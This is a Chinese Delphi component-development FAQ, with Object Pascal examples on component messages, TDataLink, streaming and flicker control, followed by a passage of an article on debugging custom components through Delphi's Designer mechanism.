所有在published区段宣告的字段型态必须是ordinal、single、double、extended 、comp、currency、string、small set（译注：指元素编号不超过0..31这个范围的集合；平常的集合可容许的范围为0..255）、method pointer或class其中一种。如果你宣告了其它型态的字段，Delphi编译器并不会检查出错误。然而当你使用这个构件时依然会得到一个GPF。

如果你想让TMyComponent构件可以在设计时刻操作，注意下面的宣告会引发十分严重的问题：

type TComplex = record

RealPart: Double;

ComplexPart: Double;

end;

class TMyComponent = Class(TComponent)

private

F1: TComplex;

published

property P1: TComplex read F1 write F1;

end;

2.4 如何撰写一个无法放置到表格上的构件？

Ray Lischner 的回答：

如果你不想让使用者将构件拉曳至表格上的话，使用 RegisterNoIcon 及 RegisterClass 过程来注册构件。

2.5 在程序码编辑器中快速切换程序区段最简单的方法是什麽？

Ray Konopka 的回答：

在探索 VCL 源码时，强烈建议你最好熟悉程序码编辑器里的书签功能。使用方法很简单：Ctrl-Shift-N，N 是从 0 至 9 的数字，用来配置一个书签。此後就可以使用 Ctrl-N 来跳跃至书签处。（译注：使用这项功能真的可以节省你许多来回卷动程序及找寻函式的时间，别迟疑了，快学吧！）

2.6 如何使我的构件在按下鼠标右键时出现快速功能选单？

你必须要建立一个构件编辑器。构件编辑器决定了构件在设计时刻时对鼠标键的反应及动作，你可以为构件定义它自己的快速功能选单。

建立构件编辑器的步骤大致如下：

从 TComponentEditor 类继承一个新的类。

改写类的 GetVerbCount、GetVerb及 ExecuteVerb方法。

在 Register 过程中使用 RegisterComponentEditor 过程来注册此构件编辑器。

有关构件编辑器这个主题在『Developing Delphi Components』这本书中有详尽的解说及信息。

2.7 为什麽构件在设计时刻会出现『I/O 103』的错误？

你可能在构件中使用了Writeln这个过程。

2.8 为什麽构件编辑器不会将构件属性的变动储存起来？

我发现有时自制的构件编辑器不会将构件属性储存起来。设计时刻一切正常，但是储存起来再重新读入後就有问题了。

原因是你很可能忘了在构件编辑器中调用此方法：

Designer.Modified;

如此一来Delphi才会知道你的构件编辑器更改过属性值了。

--------------------------------------------------------------------------------

第三部分在构件中使用其它构件

3.1 如何在构件中加入卷轴构件并让它在设计时刻能动作？

你的卷轴构件类必须处理 CM_DESIGNHITTEST 构件讯息才行。

TMyScrollBar = class (TScrollBar)

procedure CMDesignHitTest

(var Message: TCMDesignHitTest); message CM_DESIGNHITTEST;

end;

procedure TMyScrollBar.CMDesignHitTest( var Message: TCMDesignHitTest);

begin

Message.Result := 1;

end;

你的构件必须以以下方法建立卷轴：

TMyScrollBar.Create(nil);

而不是

TMyScrollBar.Create(Self);

3.2 如何建立Windows95式样的卷轴？

你必须配置卷轴的页面大小。你可以用以下的程序码来做：

procedure SetPageSize(ScrollBar: TScrollBar; PageSize: Integer);

var

ScrollInfo: TScrollInfo;

begin

ScrollInfo.cbSize := Sizeof (ScrollInfo);

ScrollInfo.fMask := SIF_PAGE;

ScrollInfo.nPage := PageSize;

SetScrollInfo (ScrollBar.Handle, SB_CTL, ScrollInfo, True);

end;

要取得目前页面大小可用如下方法：

function GetpageSize (ScrollBar: TScrollBar): Integer;

var

ScrollInfo: TScrollInfo;

begin

if HandleAllocated then

begin

ScrollInfo.cbSize := SizeOf (ScrollInfo);

ScrollInfo.fMask := SIF_PAGE;

GetScrollInfo (ScrollBar.Handle, SB_CTL, ScrollInfo);

Result := ScrollInfo.nPage;

end;

end;

--------------------------------------------------------------------------------

第四部分 Bound Controls

4.1 哪里可以找得到有关 TDataLink 类的说明文档？

我可以大胆地说全世界有关 TDataLink 的说明文档只有一份，就在这儿：

属性 (Property) 介绍

property Active: Boolean（唯读）

当此 DataLink 连结至一个已开启的 DataSource 时会传回 True。当 Active 状态改变时会 触发ActiveChanged方法。

property ActiveRecord: Integer（可读写）

用来配置或取得 DataLink 缓冲区中目前所指向的记录代码，代码的范围是 0 .. BufferCount - 1。使用它来配置记录代码时必须小心不要超过这个范围，否则可能导致不可预期的错误。

property BufferCount: Integer（可读写）

DataLink 拥有一个数据缓冲区。而 BufferCount 属性即用来配置或取得缓冲区大小，缓冲区大小决定了一个dataset同时可以显视的数据记录笔数。对大部分的数据感知元件来说，BufferCount 的值是 1；但对 TDataGrid 来说，BufferCount 代表它的可视列数目。

property DataSet: TDataSet（唯读）

传回此 DataLink 所连结的 DataSet。其实就是 DataSource.DataSet。

property DataSource: TDataSource（可读写）

传回此DataLink所连结的DataSource。

property DataSourceFixed: Boolean（可读写）

这个属性可用来防止 DataSource 属性被更改。如果此属性设为 True，当我们试着改变 DataSource 属性时会引发一个例外。

property Editing: Boolean（唯读）

如果 DataLink 正处於编辑状态则传回 True。

property ReadOnly: Boolean（可读写）

配置 DataLink 是否为唯读状态。这个属性并不会影响所连结的 DataSet。在唯读状态下这个 DataLink 无法进入编辑状态。

property RecordCount: Integer（唯读）

传回DataSet的数据记录数目。

方法 (Method) 介绍

function Edit: Boolean;

让所连结的DataSet进入编辑状态。传回值： 成功传回 True ，失败传回 False

procedure UpdateRecord;

我们不直接调用这个方法，它是提供其它程序来调用的。这个方法只有配置一个旗帜然後调用 UpdateData 方法。

虚拟方法 ( Virtual Method )

要让 TDataLink 对象与构件沟通必须改写下列这些方法：

procedure ActiveChanged

当连结的 DataSource 开启状态改变时会调用此方法。使用 Active 属性可以得知目前是否为开启状态。

procedure CheckBrowseMode

数据库有任何改变之後都会先调用这个方法。

procedure DataSetChanged;

当下列任一事件发生时都会调用此方法：

移至DataSet的开头

移至DataSet的结尾

在DataSet中插入或新增数据

删除DataSet的数据

取消DataSet的编辑

更新记录

如果不想改写这个方法只要在其中调用：

RecordChanged(nil);

procedure DataSetScrolled(Distance: Integer)

每当目前记录变更时会调用此方法。Distance 叁数代表缓冲区欲卷动的行数。（其值范围皆在 -1 .. 1 之间）。使用 ActiveRecord 属性可以取得缓冲区中目前所指向的记录。我们无法强制让 DataLink 的缓冲区卷动。

procedure FocusControl(Field: TFieldRef)

与TField.FocusControl方法相同。

procedure EditingChanged

当 DataLink 的编辑状态改变时会调用此方法。使用 Editing 属性可以得知DataLink 是否 正处於编辑状态。

procedure LayoutChanged

当 DataSet 的 Layout 改变时会调用此方法（例如新增一个column）。

procedure RecordChanged(Field: TField)

当下列任一事件发生时都会调用此方法：

目前记录进入编辑状态

目前记录内容更动

procedure UpdateData

在一笔记录被更新以前会调用此方法。你可以调用 Abort 过程来防止数据库更新。

4.2 如何得知一个 dataset 中有几笔记录？

TDateSet 的 RecNo 属性可以传回数据记录的数目，但很不幸地它只适用於 dBase 及 Paradox 的数据表格。若想得知目前数据记录的编号，可以从 TDataLink 类衍生一个新的类，然後进行下 列步骤：

改写 DataSetScrolled 方法以取得目前记录是否被卷动。

改写 DataSetChanged 方法来确认目前记录是否跳至最前面或最後面了。

接着你可以将这个新类的对象连结到TDataSource对象上然後就可以随时得知目前的记录编号了。

--------------------------------------------------------------------------------

第五部分 VCL

5.1 使用整合环境调试时如何追踪检视 VCL构件的程序码？

将你想要追踪的 VCL 原始程序单元拷贝至存放专案的目录中并重新编译构件库，此後你就可以在那些 VCL单元中追踪检视程序码了。

5.2 我的构件叁考到其它构件，如何得到叁考构件被消灭的讯息？

Max Nilson 的回答：

TComponent 类提供了 Notification 方法。当一个构件被移除时我们可以利用这个方法得到消息以进行适当的反应。你可以叁考『Component Writer's Guide』内有关 Notification 及FreeNotification 这两个方法的说明。

当你的构件叁考到另一个构件，例如，你的构件中有一个 TDataSource 型态的属性。那 你必须改写此构件的 Notification 方法，在其中检查被移除的构件是否就是本身所叁考的构件。预设情况下，当构件被移除时，所有其它在同一个表格上的构件才会收到消息，如果叁考构件位於另一个表格上时，你的构件无法得知这件事情。Delphi 2.0 推出了TDataModule，叁考构件位於另一个表格上的机会大幅增加，所以你应该利用 FreeNotification 方法来确定当叁考构件移除时，你一定可以得到消息。

如果你不改写 Notification 方法来处理叁考构件被移除的讯息，这会让 Delphi整合环境陷入十分不稳定的状态。它可能不会立刻当掉，但你也不能再正常地继续其它工作了。

下面是一个范例，当你的构件叁考其它构件时，千万记得要做以下的处理：

TMyComponent = class (TComponent)

private

FDataSource: TDataSource;

procedure SetDataSource(Value: TDataSource);

protected

procedure Notification(AComponent: TComponent; Operation: TOperation); override;

published

property DataSource: TDataSource read FDataSource write SetDataSource;

end;

procedure TMyComponent.SetDataSource(Value: TDataSource);

begin

if Value <> FDataSource then

begin

FDataSource := Value;

// 告诉叁考构件说，当它被移除时记得通知我一声。

if FDataSource <> nil then FDataSource.FreeNotification(Self)

end;

end;

procedure TMyComponent.Notification(AComponent: TComponent; Operation:TOperation);

begin

inherited Notification(AComponent, Operation);

// 如果被移除的正是叁考构件，把FDataSource字段清除。

if (Operation = opRemove) and (AComponent = FDataSource) then

FDataSource := nil

end;

5.3 什麽是构件讯息？

构件讯息是什麽？它十分类似Windows的窗口消息，只有一点不同：构件讯息只适用於 VCL 构件；而窗口消息可以用在系统内所有具有 window handle 的控制项或窗口。如果你有一个具有 Font 属性的构件（例如TLabel构件），当我们更改它的 Font 属性时并没有送出窗口消息（译注：TLabel 构件不是窗口控制项，根本也没有窗口 Handle可以让我们传送窗口消息），但是控制项仍然知道字体改变了所以要重画自己，为什麽？因为我们有构件讯息。

构件讯息不可以由虚拟方法来处理，这可能是设计 VCL 时的考量，大概是因为不想让虚 拟方法表格（Virtual Method Table）过於庞大的原因。

『Secrets of Delphi 2.0』这本书对於所有的构件讯息有十分详尽的解说。

接下来我们列出一些比较常见的构件讯息及它们的作用。标示着『Notification Only』 的讯息表示送出这个讯息只是为了通知构件某件消息而己，并不传入任何叁数而且也不需要传回值。

CM_ACTIVATE (Notification Only)

当表格成为焦点窗口时会传给本身这个讯息。

CM_CTL3DCHANGED (Notification Only)

当控制项的Ctl3D属性更改时会传给本身这个讯息。

CM_DESIGNHITTEST 叁数：TCMDesignHitTest 传回值：0或1

在设计时刻当鼠标移到构件上头时，整合环境会送给此构件这个讯息。此讯息的目的用来决定构件在设计时刻是否要处理鼠标讯息。如果传回值是 1，整合环境就让构件自行处理鼠标讯息；若传回值是 0，则整合环境会帮你处理鼠标讯息。如果传回值永远是 1，那麽构件的快速功能选单则永远不会出现；如果构件不处理这个讯息或永远传回 0，那此构件在设计时刻将无法对鼠标讯息做任何反应。

CM_FONTCHANGED (Notification Only)

控制项的字体改变後送给本身此讯息。

CM_FONTCHANGE (Notification Only)

当控制项收到WM_FONTCHANGE窗口消息时会送给本身这个讯息。

CM_PARENTCTL3DCHANGED (Notification Only)

当构件父控制项的Ctl3D属性改变或配置新的父控制项时会收到此讯息。

CM_PARENTCOLORCHANGED (Notification Only)

当构件父控制项的 Color 属性改变或配置新的父控制项时会收到此讯息。

CM_PARENTFONTCHANGED (Notification Only)

当构件父控制项的Font属性改变或配置新的父控制项时会收到此讯息。

CM_PARENTSHOWHINTCHANGED (Notification Only)

当构件父控制项的ShowHint属性改变或配置新的父控制项时会收到此讯息。

CM_WININICHANGE 叁数：TWMWinIniChange 传回值：无

当控制项收到WM_WININICHANGE窗口消息时会送给本身这个讯息。

5.4 我的构件得到输入焦点後仍不能接受键盘讯息，为什麽？

如果你的构件有 DragMode 属性而且将它设成 dmAutomatic 时，很有可能让你的构件以为它正被拖放但实际上并没有的情况。在 Controls 单元中有一个区域变量 DragControl 指 向目前正被拖放的构件。你遇到的情况很可能就是明明没有拖放的动作但是DragControl 变量却指向你的构件。在 TWinControl 的 WndProc 方法中，当 DragControl 变量指向构件本身时，会忽略所有键盘讯息，这就是原因了！

--------------------------------------------------------------------------------

第六部分 其它信息

6.1 有哪些书介绍或讲解如何撰写构件？

有关撰写构件的『标准』叁考书籍：

『Developing Delphi Components』 作者：Ray Konopka 出版：Coriolis Group

下面这本书并不专注於构件写作，但里面提到许多构件撰写者不可不知的信息：

『Secrets of Delphi 2』 作者：Ray Lischner 出版：Waite Group

另外一本构件撰写的好书，它有许多在『Developing Delphi Components』里找不到的信息：

『Programming Delphi Custom Components』 作者：Fred Bulback 出版：M&T Books

6.2 有哪些Web站台可以取得撰写构件的信息？

全世界最大的 Delphi Web 站台『Delphi SuperPage』

（译注：亚洲地区使用者可以就近到位於日本的 Mirror Site ）

我在下面这些站台中找到许多构件的源码：

Temple of Delphi

Delphi Free Stuff

（译注：『Your Delphi Programming Resource』整理构件也十分用心！ ）

（译注：台湾地区目前维持最好的 Delphi 站台是『32 Bit Delphi 深度历险』及其 Mirror Site）

你也可以使用一些搜寻引擎来寻找有关 Delphi 的站台：

Yahoo

Alta Vista

（译注：Excite 搜寻引擎也别错过罗！）

--------------------------------------------------------------------------------

第七部分 构件的储存与载入

7.1 如何将包含其它对象的对象一起存入 DFM 档？

我试过许多方法，包括改写构件的 DefineProperties及 WriteComponents方法，但都还是失败了。所以我只能说要解决这个问题的话只有使用 Delphi 原本的方法一途。

将包含其它对象的对象一起储存起来的步骤大致如下：

确定你要储存的所有对象都是从 TComponent 类衍生下来的。

将所有需要储存的变量宣告在 published 区段。

在构件的 Register 过程中调用 RegisterComponents过程来注册所有你要储存起来的类。

每个拥有子控制项的类必须改写 GetChildren 方法以储存每个子控制项。（在 Delphi 1.0 中你必须改写 WriteComponents 方法并且为每个子控制项调用 WriteComponent方法）。

将对象载入的方法用了点小技巧。你必须改写构件的 GetChildOwner 及 GetChildParent 方法，否则 Delphi会将所有对象的拥有者都配置为构件所在的表格。（在Delphi 1.0 中你必须改写ReadState方法）。

7.2 如何得知构件是否正从数据流中读出？

当构件正从数据流中读出时，它的 ComponentState 属性会包含csLoading 旗帜。

constructor TMyClass.Create(AOwner: TComponent);

begin

if csLoading in AOwner.ComponentState then

begin ... end

else

begin ... end;

end;

7.3 如何确定构件的属性是否被正确地储存？

有许多很简单的方法可以验证属性是否被正确地储存在文件里：

在整合环境中用鼠标右键点选表格然後选择『View as Text』。然而万一 DFM 档 有任何错误的话，你将什麽也看不到。

开个 DOS 窗口，利用 Delphi 所附的『Convert』程序将 DFM 档转成文字格式。

Stefan Hoffmeister 指出复制或剪下构件後，到任何一个文书编辑器（如记事本）中贴上，你就可以看到此构件的文字表示。你甚至可以编辑这些文字表示後再将它贴回 Delphi整合环境的表格上。

--------------------------------------------------------------------------------

第八部分 Delphi 的工具

8.1 有没有Delphi版本的 YACC 及 LEX？

有。Albert Graef 这位仁兄写了 Turbo Pascal 版本的 YACC 及 LEX，也可以让 Delphi 使用。

你可以在 ftp://ftp.simtel.net/pub/simtelnet/msdos/turbopas 下取得 tply30a1.zip 及 tply30a2.zip 这两个文件，其中还包含这两个工具的原始程序哦！

8.2 如何秀出 JPEG 格式图形档？

Jacques Nomssi Nzali 将 Independent JPEG Group 所发展的免费 JPEG 库改写成 Pascal 版本。你可以从下取得：

PASJPG10.ZIP

Independent JPEG Group 的免费 JPEG 函式库 rev 6a 之 Pascal 版本 (1.0 版)。

--------------------------------------------------------------------------------

第九部分 基本编程技巧

9.1 如何建立不定数目的对象数组？

最简单的方法是使用 TList 类。我发现从 TList 衍生一个新类很有用处。接下来的程序码示范如何为一个特定型态撰写一个特别的 TList 类，并且加进基本的错误检查。

TListOfMyObject = class (TList)

private

function GetItems(Index: Ordinal): TMyObject;

public

property Items[Index: Ordinal]: TMyObject read GetItems;

procedure Add(AObject: TMyObject);

end;

function TListOfMyObject.GetItems (Index: Ordinal): TMyObject;

begin

if Index >= Count then

raise Exception.CreateFmt('Index(%d) outside range 1..%d', [Index, Count-1]);

Result := inherited Items[Index];

end;

procedure TListOfMyObject.Add (AObject: TmyObject);

begin

inherited Add(AObject);

end;

9.2 Delphi 2.0的 WinCrt单元到哪去了？

Delphi 2.0并没有 WinCrt单元。 先别伤心，这是因为我们可以用其它方法来取代它。在 Project|Options 的 Linker 页次中将『Generate console application』选项打开，你就可以像以前使用 WinCrt 单元一样地写程序了！

9.3 自制构件时该从哪个类继承？

VCL 中有一些『自订』类，而且有许多控制项是直接由这些『自订』类继承下来的。例如 TMemo 直接继承自 TCustomMemo类。这些自订类写好了所有该控制项所拥有的功能，只是没有将属性公开出来而己。大部分情形下，你应该从那些自订类继承而不是控制项类。

如果你要从头撰写自己的构件，那麽从 TCustomControl 类继承是个不错的主意。撰 写出来的构件会具有 Window Handle 且可以接受输入焦点。

另外根据你的需要也可以从这些类继承：

TGraphicControl：视觉构件，但是没有window handle，也不能接受输入焦点。

TComponent：不可视构件，你没办法在运行时刻看到它。

TWinControl：将已存在的窗口构件包装起来，如Windows标准控制项或VBX构件。

--------------------------------------------------------------------------------

第十部分 进阶编程技巧

10.1 Delphi 有与 C++ 一样的 I/O Stream 类吗？

答案可以说有也可以说没有。Delphi允许你建立自己的『文字档设备驱动过程』，它可以让你使用Delphi 标准的 I/O 函式库来处理非标准的 I/O，如处理 UNIX 格式的文字档或处理 Socket 所取得的数据。虽然没有像 C++ 的 I/O Stream 类那麽强大但应该也足够一般用途使用了。

建立『文字档设备驱动过程』的方法在『Object Pascal Language Guide』中有明述。此 外你也可以叁考 VCL 的 Printer 单元。

Delphi有 TStream 类，不过是设计用来将对象写入数据流的，不像 C++ 的 I/O Stream 类那麽具有弹性。

10.2 如何取得列举型态变量的文字表示？

使用 TypInfo单元中的 GetEnumName 函式：

type

TMyType = (Value1, Value2);

var

TypeValue: TMyType;

begin

Writeln (GetEnumName(TypeInfo(TMyType), Ord(TypeValue));

end;

TypInfo单元中还有许多与型别信息有关的函式。

『Secrets of Delphi 2.0』这本书有许多关於TypInfo单元的信息，值得叁考。

--------------------------------------------------------------------------------

第十一部分 构件虚拟方法

11.1 如何得知构件的window handle是何时建立的？

控制项的 window handle 是在 CreateWnd 方法中建立的。如果你想要在建立 window handle 後接着做某些动作那麽你应该改写 CreateWnd 方法：

procedure TMyClass.CreateWnd;

begin

// 现在还没取得 window handle

inherited CreateWnd;

// 调用 inherited 以取得 window handle

// 在这里撰写你想要执行的动作

end;

11.2 如何得知是否表格上所有构件都已载入完成？

Loaded 方法是在载入完成後接着被调用的。

procedure TMyClass.Loaded;

begin

inherited Loaded;

// 将ComponentState中的 csLoading 状态清除

// 在这里撰写你想要执行的动作

end;

11.3 在哪里绘制构件最适合？

你应该拦截 WM_PAINT 窗口消息然後利用 Canvas 来绘制构件。然而 VCL 己经帮你拦 截好了，你只须改写构件的 Paint 方法即可。

procedure TMyClass.Paint;

begin

// 如果你的构件是己存在的构件继承下来的，那麽必须在这里调用 inherited Paint

inherited Paint ;

// 在这里撰写你想要执行的动作

end;

11.4 如何改变构件的窗口式样？

CreateParams方法用来配置构件的窗口式样及其它必须传递至 CreateWindowEx API 的 叁数。要改变构件的窗口式样，例如增加或拿掉构件的垂直卷轴只要改写 CreateParams 方法：

procedure TMyControl.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

if IWantAScrollBar then

Params.Style := Params.Style or WS_VSCROLL

else

Params.Style := Params.Style and not WS_VSCROLL;

end;

--------------------------------------------------------------------------------

第十二部分 Windows API

12.1 构件卷动时闪动的很厉害，如何克服这种情况？

要卷动构件本身最简单的方法就是改变它的座标然後重画构件，但是这方法会导致构件闪动的很厉害。

比较好的方法是调用 ScrollWindow 或 ScrollWindowEx Windows API。

闪动的另一个原因可能来自於 WM_PAINT 及 WM_ERASEBKGND。你可以试着拦截 WM_ERASEBKGND 及 WM_PAINT 讯息然後自己处理绘图动作，包括绘制背景的动作，或许可以改善闪动的情况。

12.2 如何重新启动Windows？

使用 ExitWindowsEx Windows API。

12.3 如何快速大量地更改构件数据？

在进行大量数据更改前後，利用 WM_SETREDRAW 讯息来控制你的构件暂时不要重画，这不但可以使数据配置速度增快也防止构件闪烁的情况。

--------------------------------------------------------------------------------

第十三部分 控制项边框

13.1 为什麽我的构件的 Ctl3D 属性设为 True 之後，它依然没有 3D 的边框呢？

如果 ControlStyle 属性内没有包含 csFramed 旗帜那麽 Ctl3D 属性就会没有作用。在构件 的建构函式内加上：

ControlStyle := ControlStyle + [csFramed];

13.2 如何实作 BorderStyle 属性？

在控制项配置有没有边框之後要重新建立 window handle：

FBorderStyle: TBorderStyle;

procedure SetBorderStyle(Style: TBorderStyle);

property BorderStyle: TBorderStyle read FBorderStyle write SetBorderStyle;

procedure CreateParams(var Params: TCreateParams); override;

procedure TMyControl.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

if FBorderStyle = bsSingle then

Params.Style := Params.Style or WS_BORDER

else

Params.Style := Params.Style and not WS_BORDER;

end;

procedure TMyControl.SetBorderStyle(Style: TBorderStyle);

begin

if Style <> FBorderStyle then

begin

FBorderStyle := Style;

// 重新建立window handle

RecreateWnd;

end;

end;

--------------------------------------------------------------------------------

第十四部分 控制项式样

14.1 当构件重绘时如何防止闪动的情况？

如果构件的 ComponentStyle 属性没有包含 csOpaque 旗帜的话，调用 Invalidate方法时 会导致构件的背景先被擦掉再重绘。如果你在 Paint 方法中绘制背景，那你应该在构件的建构函式中加上：

ComponentStyle := ComponentStyle + [csOpaque];

Max Nilson的回答：

引起闪动另一个原因可能是 WM_ERASEBKGND 讯息的处理。当 VCL 控制项收到一个 WM_ERASEBKGND 讯息时，它会将构件的背景擦掉然後配置成预设的颜色。如果你的元件衍生自 TWinControl，而且构件的颜色与背景颜色不同（例如图形），每次重画以前都会将构件先清成背景颜色再重绘，这就是造成闪动的原因了！

解决的方法不难，你必须告诉 Windows 你要自行解决『所有的』绘图动作。不过有一个前提是，你一定要确定你的 Paint 方法将整个构件都画过，如果你漏了什麽地方忘了画，那个部分的数据会由乱数组成，你能想见这情况吗？使用这个方法可以加速你的构件绘制动作（稍微快一点点），因为少了一个填满背景颜色的动作。

type

TMyComponent = class (TWinControl)

...

protected

procedure WMEraseBkgnd(var Message: TWMEraseBkgnd); message WM_ERASEBKGND;

...

end;

procedure TBMyComponent.WMEraseBkgnd(var Message: TWMEraseBkgnd);

begin

// 不要重绘背景，这会造成构件闪动

Message.Result := 0

end;

--------------------------------------------------------------------------------

第十五部分 窗口消息

15.1 为什麽我的构件得不到方向键的讯息？

你必须拦截 WM_GETDLGCODE 才能处理方向键的讯息，在 WM_GETDLGCODE 的讯息处理 者中传回 DLGC_WANTARROWS。如果你不这样做，那方向键的功用就只能用来移动窗口焦点而己。

Max Nilson 的回答：

想要你的构件能够处理方向键，你必须要拦截 CM_WANTSPECIALKEY 构件讯息。 CM_WANTSPECIALKEY 构件讯息提供你比拦截 WM_GETDLGCODE 窗口消息更容易且灵活的判断方法来决定是否需要某些特殊键的讯息。当控制项收到任何一个特殊键时就会送出CM_WANTSPECIALKEY 构件讯息给控制项。

特殊键包括：VK_TAB、VK_LEFT、VK_RIGHT、VK_UP、VK_DOWN、VK_RETURN、VK_EXECUTE 、VK_ESCAPE 及 VK_CANCEL。如果讯息传回值是非零值，这个键就会被送至 KeyPress 方法以供处理，否则这个键的讯息会被送至构件的父控制项，以预设方式来处理。

一个简单的范例：

type

TMyComponent = class (TWinControl)

...

protected

procedure CMWantSpecialKey(var Message: TCMWantSpecialKey); message CM_WANTSPECIALKEY;

...

end;

procedure TMyComponent.CMWantSpecialKey(var Message: TCMWantSpecialKey); begin

inherited;

// 我们只想处理向左方向键，其它的特殊键都给 Windows 处理

if Message.CharCode = VK_LEFT then

Message.Result := 1;

end;

CM_WANTSPECIALKEY 构件讯息比 WM_GETDLGCODE 讯息更具有弹性的地方在这儿。我们甚至可以根据是按下的是哪个特殊键才决定是否处理这个键。例如，你的控制项有三张图像，你可以让使用者利用左右方向键来回检视它们，如果翻到最後一张图像再按向右键时，焦点就让它离开构件，剩下的全部都让 Delphi 来处理。

15.2 有没有与 Visual Basic『DoEvents』同样功能的函式？

有。Application.ProcessMessages方法。


Delphi元件除错技巧

Delphi元件除错技巧

作者：蔡志诚

元件除错环境实作范例

许多以Delphi为工具的程序开发者，时常需要开发自定的元件类别以符合所需。在元件的开发过程中，由於无法直接由Delphi的集成除错环境中对元件进行除错，必须辗转透过其它方式逐步除错，既麻烦又费时。在本篇中笔者提供一个简易的除错环境，直接利用Delphi的集成除错器为您的元件除错，加速开发元件的时间。

Delphi提供了一个强而有力的元件结构VCL，建立了一个FrameWork的标准。程序开发者可於此基础上自由的运用以及继承，藉此开发自定的元件类别。在元件开发的过程中，除错一直是元件开发者常遭遇的问题。完整元件的测试工作包括元件行为测试，属性编辑器(Proeprty Editor)测试以及元件编辑器(Component Editor)测试。有关元件行为测试的部份，虽然可以藉由动态建立对象的方式直接应用Delphi集成除错器来除错，但是对於属性编辑器及元件编辑器部份，便只能靠原始的ShowMessage来模拟Delphi集成除错器的BreakPoint了。

由於错误可能发生在程序中的任何地方，因此这样做不仅费时，亦不容易找出真正的问题点。难道就没有其它解决的方法了吗？事实上Delphi提供了一个Designer的机制，Delphi的集成开发环境便是依此而来。由於这个部份Borland公司并未提供充足的相关信息，因此一般人也较难以应用。利用这个机制，我们可以轻易的实作一个环境以供除错，但在实作之前，您有必要对此机制做一概括性的认识。本篇中笔者以一自定的MessageBox元件为例，介绍如何应用自定的除错环境来对元件除错。

认识Designer

从字面意义上来看，Designer似乎与设计有关，事实上Designer掌控了元件与Form的沟通管道。藉由Designer，Delphi得以区分Design-Time与Run-Time的不同。Designer中有一个Form的属性，用来记录目前设计中的Form。除此之外，在设计的Form中也有一个Designer属性，记录了这个Form的Designer。当进入设计模式时，Designer会拦截所有来自鼠标以及键盘的信息，并将此信息传给设计的Form，并由Form来处理这些信息，忽略元件对信息的处理(如图一)。利用此机制，我们可以防止元件於设计时期中发生执行时期的行为，并在设计时期定义相关的元件处理机制，诸如处理对元件的拖放(Drag and Drop)、改变尺寸(Resize)、移动(Move)、复制(Copy)、删除(Cut)等等行为，以及一些如对齐(Aligment)、群组选取(Group Select)等附属的功能。Delphi并没有公开这些实作内容的原始程序码，但提供了Designer类别的介面宣告。你可以在Forms及DsgnIntf这两个单元中，找到Tdesigner及TFormDesigner两个Designer的抽象类别(见表一)，虽然这些类别中有许多的方法介面，但我们并不需要实作所有的方法。仅针对需要实作的部份加以实作即可。

设计模式的进入点

在VCL的结构中，凡是由Tcomponent衍生的元件类别都有一个SetDesigning方法，用以设定元件的状态，不过此方法宣告在Protected区段，您无法直接使用，因此必须另外定义一个继承自Tcomponent的类别，并将此方法开放出来。透过SetDesigning方法，可以设定元件为设计模式(True)或是执行模式(False)，要分辨某一元件所处的状态，你可藉由ComponentState属性来得知，此属性为一集合(Set)型态属性，因此你可以以(csDesigning in ComponentState)来判别元件所处的状态。

事实上在执行时期设定元件型态为csDesigning时，你并不会发现有任何的改变，主要是因为没有可以处理此状态的Designer，因此若要能反应设计时期的特徵，你必须先建立一个Designer，并将此Designer指定给设计中的Form。虽然Delphi提供了完整的机制让程序开发者能建立一个完整的Designer，但其实所谓的设计时期，仍端赖个人对设计模式的定义，倒不见得一定要和Delphi的设计模式一样，提供许多的功能。本篇主要的目的乃在建立一个能够使用Delphi集成除错器的设计环境，并不须要过多的复杂功能，因此就Designer的实作层面而言，我们所要做的不过是拦截信息而已。

当Form连结至Designer後，即表示此Form已进入设计模式，此时你必须对来自外界的信息做出相对的反应。在TFormDesigner中有一IsDesignMsg的方法介面，利用此方法可以接收来自外界对Form及其所有的元件所引发的信息。在此时机点，所要做的便是过滤出我们所要的信息，并将信息处理後传给设计中的Form以便做进一步的处理，表(三)中我们实作了IsDesignMsg方法，并针对所有来自鼠标的信息加以处理，将之转换为Form的信息，忽略元件本身对信息的的反应。在Form接受到信息後，便依原先预定的信息处理程序，做出适切的回应。

取得元件类别

就如同Delphi的设计环境一样，您必须向Delphi注册才能在Form中加入您的元件。Delphi提供了一支常式RegisterComponents让元件向系统注册，如此Delphi的元件库才能取得元件类别的信息，并依此建立元件。此常式定义在Classes单元中。观其始末，在此常式的实作区段中，会去调用一支名为RegisterComponentsProc的CallBack Function(见表四)，在元件注册时，Delphi会主动指定此Fucntion，以便进行元件注册的动作。在我们的设计的环境中，亦可利用此方式让元件向我们的系统注册，只是RegisterComponentsProc必须由我们来指定。

本篇中笔者定义一支与RegisterComponentsProc同型态的函数，并将此函数指定给RegisterComponentsProc，函数中以一个Tstrings对象来存放所注册的元件名称与元件类别信息(见表五)。在调用此函数的过程中，会传入一个元件类别阵列以及元件所处的类别页名称。本例中并没有使用类别页的名称，因此在注册元件时，此参数可以空字串代替。利用所获得的Tstrings对象中的元件信息，我们可以调用TComponentClass类别中的Create方法建立此类别的元件，并将元件的Parent设为Form，使建立的元件能正确的显示於Form上。

非视觉化元件的处理

在VCL的结构中，并不是所有的元件都具有可视的外观型态，而是只有由TWinControl或是

TGraphicControl继承下来的元件才具有外观。因此在Delphi的设计环境中，对於这类不具外观的元件(如Ttable)，必须特别处理。一般做法上是建立一个替代的元件，用以代表实际的元件。而在元件建立之时，藉由判断此元件类别的祖先类别，即可决定是否以替代类别取代之。因此你可以发现在Delphi的设计环境中，所有不具外观的元件都被一个小图示按钮所取代。这些替代的元件中都包含的一个对应实际元件的属性，以表明身份。

当在Form中点选某一个元件时，透过Designer对信息的拦截，Designer会将所点选的元件信息传给Form来处理，当Form接收到元件信息时可依照元件的类别来行决定所要反应的行为，如调用该元件的元件编辑器等等。由於点选的可能是不可视元件，因此Form必须检查点选的元件是否为替代元件类别，若是则以实际元件为主。为了达到也能处理不可视元件的能力，笔者定义了一个替代元件类别 TRTContainer来代表这些不可视的元件(见表六)。类别中的Component属性对应到实际的元件类别，由於此替代类别必须是可视的，因此我们继承TCustomControl类别来实作，利用此类别提供的Canvas属性，及Paint方法实作出元件的外观。本篇中的元件范例TMessageBox类别便是一个不可视的元件，你可以利用自定的设计环境建立并为此元件进行除错。

元件编辑器的处理

